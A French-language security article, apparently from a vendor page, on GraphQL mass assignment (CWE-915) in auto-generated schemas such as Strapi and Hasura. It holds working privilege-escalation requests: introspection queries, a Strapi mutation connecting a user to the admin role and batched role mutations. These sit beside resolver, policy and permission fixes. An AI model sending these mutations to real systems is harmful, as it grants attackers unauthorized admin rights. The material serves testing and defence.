Mass assignment GraphQL (CWE-915) : types d'entrée sans whitelist qui acceptent des champs inattendus mappés sur des résolveurs ou des attributs de modèle.
InputObject avec role, isAdmin, subscriptionTier sont des ciblesLe mass assignment GraphQL survient au niveau de la mutation : quand le type InputObject d'une mutation inclut des champs privilégiés (role, isAdmin, subscriptionTier, permissions) qui mappent directement sur des attributs de modèle protégés, tout appelant pouvant invoquer la mutation peut définir ces champs. Le système de types GraphQL n'est pas une limite de sécurité — il documente ce que les champs existent, mais n'applique pas d'autorisation sur lesquels un appelant donné peut écrire.
Le problème est le plus grave dans les plateformes qui auto-génèrent des schémas GraphQL depuis des modèles de base de données : Strapi, Directus, Hasura, PostgREST et NocoDB génèrent un type UserUpdateInput avec chaque colonne de la table users, y compris role, is_admin et confirmed.
sequenceDiagram
participant A as Attaquant
participant GQL as Endpoint GraphQL
participant Resolver as Résolveur de mutation
participant ORM as ORM / Modèle
A->>GQL: Requête d'introspection — énumérer types InputObject
GQL-->>A: Champs UserUpdateInput: [email, firstName, role, isAdmin]
A->>GQL: mutation { updateUser(data: {role: admin, isAdmin: true}) }
GQL->>Resolver: Exécuter updateUser avec input {role, isAdmin}
Note over Resolver: Aucune vérification d'autorisation au niveau du champ
Resolver->>ORM: User.update({role: admin, isAdmin: true})
ORM-->>Resolver: Mis à jour
Resolver-->>A: {data: {updateUser: {id: 42, role: admin}}}{
__schema {
types {
name
kind
inputFields {
name
type {
name
kind
}
}
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <token_utilisateur>
{
"query": "mutation UpdateMe($data: UsersPermissionsUserInput!) { updateMe(data: $data) { data { id attributes { email role } } } }",
"variables": {
"data": {
"email": "attaquant@example.com",
"role": "authenticated",
"confirmed": true,
"blocked": false
}
}
}POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <token_utilisateur>
{
"query": "mutation { updateUsersPermissionsUser(id: \"42\", data: { role: { connect: [{ id: 1 }] }, confirmed: true }) { data { id attributes { role { data { attributes { name } } } } } } }"
}Dans Strapi v4, role est un champ de relation dans UsersPermissionsUserInput. Envoyer role: { connect: [{ id: 1 }] } connecte l'utilisateur au rôle admin (ID 1). Si la mutation laisse cette relation écrivable, tout appelant authentifié s'attribue le rôle admin.
POST /graphql HTTP/1.1
Content-Type: application/json
[
{"query": "mutation { updateMe(data: {role: \"editor\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"admin\"}) { data { id } } }"},
{"query": "mutation { updateMe(data: {role: \"superadmin\"}) { data { id } } }"}
]Les requêtes batch GraphQL permettent de tester plusieurs valeurs de rôle en une seule requête HTTP. Les limites de débit par requête HTTP ne s'appliquent pas par mutation.
L'introspection GraphQL est désactivée par défaut dans de nombreux déploiements en production (Apollo Server, GraphQL Yoga la désactivent en NODE_ENV=production). Cependant, les informations de schéma fuient fréquemment via les messages d'erreur (Cannot query field "role" on type "User" — did you mean...?), via l'analyse des bundles JavaScript, ou via l'IDE Altair/GraphiQL laissé activé accidentellement. Désactivez l'introspection en production ET supprimez l'endpoint de l'IDE GraphQL.
curl -s "https://cible.com/graphql" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <token>" \
-d '{"query": "{__schema{types{name kind inputFields{name type{name kind ofType{name}}}}}}"}' | \
jq '.data.__schema.types[] | select(.kind=="INPUT_OBJECT") | {name, fields: [.inputFields[].name]}'npx @graphql-inspector/cli introspect https://cible.com/graphql \
--header "Authorization: Bearer <token>" \
--write schema.graphql
# Ouvrir GraphQL Voyager à https://ivangoncharov.github.io/graphql-voyager/
# Télécharger schema.graphql et inspecter visuellement les champs InputObjectBreachVex détecte le mass assignment GraphQL via l'énumération automatique des types InputObject par introspection, suivie de sondes de mutation ciblées sur les champs privilégiés identifiés, avec confirmation de requête inter-session.
const resolvers = {
Mutation: {
updateUser: async (_, { id, data }, context) => {
// Dépouiller les champs privilégiés de l'input quels que soient ceux du schéma
const { role, isAdmin, confirmed, blocked, ...safeData } = data;
// Seuls les admins peuvent définir le rôle
if (data.role && !context.user.isAdmin) {
throw new ForbiddenError('Impossible de mettre à jour le rôle');
}
return User.update(id, safeData);
}
}
};Dans l'admin Strapi : Paramètres > Rôles et Permissions > sélectionner le rôle > développer le type de contenu User > décocher les permissions update pour les champs role, confirmed, blocked.
Politique programmatique :
module.exports = async (policyContext, config, { strapi }) => {
const { data } = policyContext.request.body;
const PROTECTED_FIELDS = ['role', 'confirmed', 'blocked', 'provider'];
for (const field of PROTECTED_FIELDS) {
if (field in (data ?? {})) {
return false;
}
}
return true;
};- table:
name: users
schema: public
update_permissions:
- role: user
permission:
columns:
- email
- first_name
- last_name
- bio
# role, is_admin, subscription_tier PAS dans les colonnes
filter:
id:
_eq: X-Hasura-User-Idclass Mutations::UpdateUser < Mutations::BaseMutation
argument :email, String, required: false
argument :first_name, String, required: false
# role, admin — PAS déclarés comme arguments
# GraphQL-Ruby rejettera les arguments non déclarés au moment de la validation du schéma
def resolve(email: nil, first_name: nil)
current_user.update!(email: email, first_name: first_name)
{ user: current_user }
end
endLe mass assignment GraphQL survient au niveau de la mutation : quand le type InputObject d'une mutation inclut des champs privilégiés (role, isAdmin, subscriptionTier) qui mappent directement sur des attributs de modèle protégés, tout appelant pouvant invoquer la mutation peut définir ces champs. Le système de types GraphQL n'est pas une limite de sécurité — il documente les champs mais n'applique pas l'autorisation.
Exécuter une requête d'introspection complète pour énumérer tous les types InputObject. Chercher les types UserUpdateInput, AccountUpdateInput, ProfileUpdateInput et lister tous leurs champs. Utiliser GraphQL Voyager (explorateur de schéma visuel), IntrospectionQuery de GraphQL IDE, ou l'extension Burp Suite GraphQL Raider. Les champs comme role, isAdmin, subscriptionTier dans les types InputObject sont des cibles d'attaque.
La forme est côté schéma : tout framework qui auto-génère les mutations depuis un modèle de contenu expose les champs privilégiés que porte le type d'entrée à quiconque peut appeler la mutation. L'introspection donne la liste des champs ; c'est la vérification d'autorisation champ par champ qui transforme un champ `role` écrivable en découverte, ou en impasse.
Les plateformes headless CMS (Strapi, Directus, Hasura, Contentful) auto-génèrent des schémas GraphQL depuis les modèles de contenu. Chaque champ du modèle de contenu devient un champ InputObject par défaut, y compris les champs de privilège comme role, confirmed, status, publishedAt. Sans exclusion explicite de champs dans l'admin CMS, les mutations générées sont du mass assignment par conception.
GraphQL permet d'envoyer plusieurs mutations dans une seule requête (batching). Un attaquant peut envoyer 100 mutations en une seule requête HTTP pour tester plusieurs charges utiles d'escalade de privilèges simultanément. Certains serveurs traitent chaque mutation dans la même transaction, amplifiant l'impact. Atténuation : limiter le débit par mutation, pas par requête HTTP.
Dans l'admin Strapi : Paramètres > Rôles et Permissions > sélectionner le rôle > décocher les champs spécifiques de la mutation de mise à jour. Par programme, étendre les résolveurs GraphQL pour filtrer l'input via une politique personnalisée. Dans Strapi v5+, utiliser l'option transform dans la configuration des routes pour dépouiller les champs privilégiés.
GraphQL Voyager est un outil visuel qui rend un schéma GraphQL comme un graphe interactif. Avec un résultat d'introspection, il affiche tous les types, leurs champs et les relations entre eux. Particulièrement utile pour trouver les types InputObject qui incluent des champs privilégiés — visuellement évident quand le graphe montre role connecté à UserUpdateInput.
Envoyer : {__schema{types{name kind fields{name type{name kind ofType{name kind}}} inputFields{name type{name kind ofType{name kind}}}}}}. Filtrer les résultats pour les types avec kind=INPUT_OBJECT. Tout InputObject avec des champs comme role, isAdmin, permissions, subscriptionTier est un candidat au mass assignment.
Dans Strapi v4, role est un champ de relation dans UsersPermissionsUserInput. Envoyer role: { connect: [{ id: 1 }] } connecte l'utilisateur au rôle ID 1 (typiquement le rôle admin). Si la mutation laisse cette relation écrivable, tout appelant authentifié s'attribue le rôle admin.
Utilisez l'extension GraphQL Raider pour intercepter les mutations. En mode Param-Miner sur les requêtes GraphQL, l'extension fuzz les champs de l'objet variables pour découvrir les champs non documentés acceptés par le résolveur. Alternativement, modifiez manuellement l'objet variables en Repeater : ajoutez role, isAdmin, permissions et comparez la réponse avec un GET inter-session pour confirmer la persistance.